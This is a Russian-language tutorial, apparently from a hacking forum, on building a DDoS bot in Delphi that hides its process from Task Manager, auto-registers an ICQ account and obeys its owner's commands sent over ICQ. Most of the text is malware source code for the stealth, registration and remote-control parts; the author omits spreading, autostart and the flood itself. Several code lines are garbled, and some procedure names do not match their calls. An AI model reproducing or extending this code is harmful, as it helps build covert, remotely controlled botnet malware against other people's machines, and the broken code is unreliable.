DDoS бот на Delphi 

В этой статье я расскажу как написать DDoS бота на Delphi c использованием компонента 
TICQClient 
(http://www.cobans.net).

Что должен делать бот:

1) Иметь функции трояна, т.е скрываться от таскбара, прописываться в автозагрузку и пр.
2) Функции червя - распространять сам себя.
3) Управляться через ICQ.

Сразу хочу сказать, что бот является только наглядным примером, написан был ради чистого 
интереса. Использование по назначению 
осложнается его размером (сжатый, например, ASPack'ом он имеет ~250 Kb).

Еще одно предупреждение, в статье я НЕ БУДУ описывать: 1) самораспространение, 2) прописку 
в 
автозапуск и 3) конкретный пример 
какой либо атаки. Выберешь сам какой DDoS использовать, путь распространения и придумаешь 
как 
это реализовать , если нужно будет. 
Хоть мозгами пошевелишь, а то привык наверное все готовенькое получать.

Наш бот будет автоматически регестрировать юин и используя примитивный метод, побоюсь этого 
слова, "шифровки", запишет юин в файл. 
Шифрование юина заключается в простом арифметическом действии с юином, например: 
Uin1111111, прибавляем, например, 222222222, 
получаем, что в файл записывается число 333333333. Соответственно, при чтении файла 
производим обратное действие и присваиваем 
переменной полученное значение, тоесть наш юин.

Для начала рассмотрим процедуру скрытия от Ctrl+Alt+Delete(Taskbar), для этого создадим 
процедуру:

procedure Hide;
var
  hndl : thandle;
  RegisterServiceProcess : TRegisterServiceProcess;
begin
try
    hndl:=loadlibrary('KERNEL32.DLL');    
    RegisterServiceProcess:=getprocaddress(hndl,'RegisterServiceProcess');
    RegisterServiceProcess(getcurrentprocessid,1);
    freelibrary(hndl);
except end;
end;

Также нужно зайти в Project -> View Source, и присвоить значение false, строчке 
Application.ShowMainForm.

Application.ShowMainForm:ъlse;

Далее добавляем еще две процедуры:

{Подключение к серверу}

procedure Login;
begin
 Form1.ICQClient1.Uin:=a;
 Form1.ICQClient1.Password:='password';
 Form1.ICQClient1.Login;
end;

{Регистрация юина}

procedure Reg;
begin
  Form1.ICQClient1.RegisterNewUIN('password');
end;

Теперь опишем событие FormCreate.

procedure TForm1.FormCreate(Sender: TObject);
begin
 Hide;
If fileExists('win') then
  begin
   AssignFile(f,'win');
   Read(f,d);
   CloseFile(f);
   a:=strtoint(d)-222222222;
   LoginICQ;
  end ELSE
  begin
   RegUin;
  end;
end;

Рассмотрим, что здесь происходит. В начале стоит обращение к процедуре Hide, Далее идет 
проверка: если файл с юином 
существует то записываем его в переменную и отправляемся к процедуре подключения к 
серверу, 
естественно после дешифровки. 
В противном случае идем регестрировать юин. Теперь проверим два события, которые реагируют 
на 
завершение регистрации юина и 
подключения к серверу.(OnLogin и OnNewUinRegistered).

{OnLogin}

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
  Form1.ICQClient1.SendMessage(uin,'Yeeeeeh.=).
		 Send me "c:help" for get help text.');
end;

{OnNewUinRegistered}

procedure TForm1.ICQClient1NewUINRegistered(Sender: TObject; UIN: String);
var
 c:integer;
 TxtFile : TextFile;
begin
 a:=strtoint(#13#10 + UIN);
 c:=amЫ¶;}
 AssignFile(TxtFile, 'win');
 Rewrite(TxtFile);
 WriteLn(TxtFile, c);
 CloseFile(TxtFile);
 Login;
end;

В процедуре ICQClient1Login. все довольно просто, после подключения к серверу бот посылает 
сообщение на определенный юин хозяина. 
В сообщении содержится команда "c:help", отправив сообщение боту с коммандой help, 
пользователь получит список комманд для бота, но 
об этом позже. Теперь разберемся с процедурой TForm1.ICQClient1NewUINRegistered, здесь мы 
шифруем юин полученный при регистрации и 
записываем в файл, переменная "a" присваевает значение "с" (юин) и отправляется на процедуру 
Login.

Управление ботом.

Управление ботом производится достаточно просто, как я уже упоминал, по средствам 
сообщений. 
Получив от вас сообщение с командой бот 
смотрит от какого юина сообщение и что нужно выполнить, производит эти действия и посылает 
вам 
ответное сообщение, главное подключить 
фантазию Вот простой пример:

procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin
 If UIN='uin' then
  begin
    if Msg='c:disc' then  
    begin  
      ICQClient1.LogOff;
      Form1.ICQClient1.SendMessage(uin,'Disconnected.'); 
   end;  
   if Msg='c:msg' then  
    begin  
      {Действие];
      Form1.ICQClient1.SendMessage(uin,'Выполнил действие.'); 
   end;  
  end;
end;

Также я упомянул о команде "c:help", чтобы сделать подсказку нужно просто содать список всех 
команд для бота и описания к ним, при 
запросе команды Хелп, просто послать список хозяину, описанным выше способом.

Статья подошла к концу, я описал все что хотел, остальное сделаешь сам. В скором времени 
планируется дополнение к статье для реализации 
управления не через ICQ, а через IRC, отличий мало поэтому ты сам легко это сделаешь.